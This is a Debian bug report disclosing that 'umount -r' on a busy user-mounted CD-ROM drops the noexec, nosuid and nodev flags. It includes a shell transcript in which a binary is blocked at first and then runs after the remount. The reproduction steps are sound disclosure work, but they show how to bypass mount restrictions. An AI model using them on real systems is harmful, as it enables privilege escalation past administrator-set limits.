Package: mount
Version: 2.11n-7
Severity: critical
File: /bin/umount
Tags: security
Justification: root security hole


Please see

  http://www.securityfocus.com/archive/1/410333

for details. Verified (that noexec flag is gone) as follows:

psz:~$ id
uid=1001(psz) gid=1001(amstaff) groups=1001(amstaff),24(cdrom),25(floppy)
psz:~$ grep cdrom /etc/fstab
/dev/cdrom      /cdrom          iso9660 ro,user,noauto          0       0
psz:~$ /bin/mount /cdrom
psz:~$ /bin/mount | grep cdrom
/dev/cdrom on /cdrom type iso9660 (ro,noexec,nosuid,nodev,user=psz)
psz:~$ /cdrom/ML3/ML_30_013_Linuxi.bin
bash: /cdrom/ML3/ML_30_013_Linuxi.bin: /bin/sh: bad interpreter: Permission 
denied
psz:~$ cd /cdrom
psz:/cdrom$ /bin/umount -r /cdrom
umount: /dev/cdrom busy - remounted read-only
psz:/cdrom$ cd
psz:~$ /bin/mount | grep cdrom
/dev/cdrom on /cdrom type iso9660 (ro)
psz:~$ /cdrom/ML3/ML_30_013_Linuxi.bin
Unpacking to /tmp/ML.tar...
[ctrl-C]
psz:~$ /bin/umount -r /cdrom
psz:~$ 


-- System Information
Debian Release: 3.0
Architecture: i386
Kernel: Linux pisa.maths.usyd.edu.au 2.4.27-smssvr1.6 #1 SMP Wed Aug 24 
12:16:31 EST 2005 i686
Locale: LANG=C, LC_CTYPE=C

Versions of packages mount depends on:
ii  libc6                         2.2.5-11.8 GNU C Library: Shared libraries an



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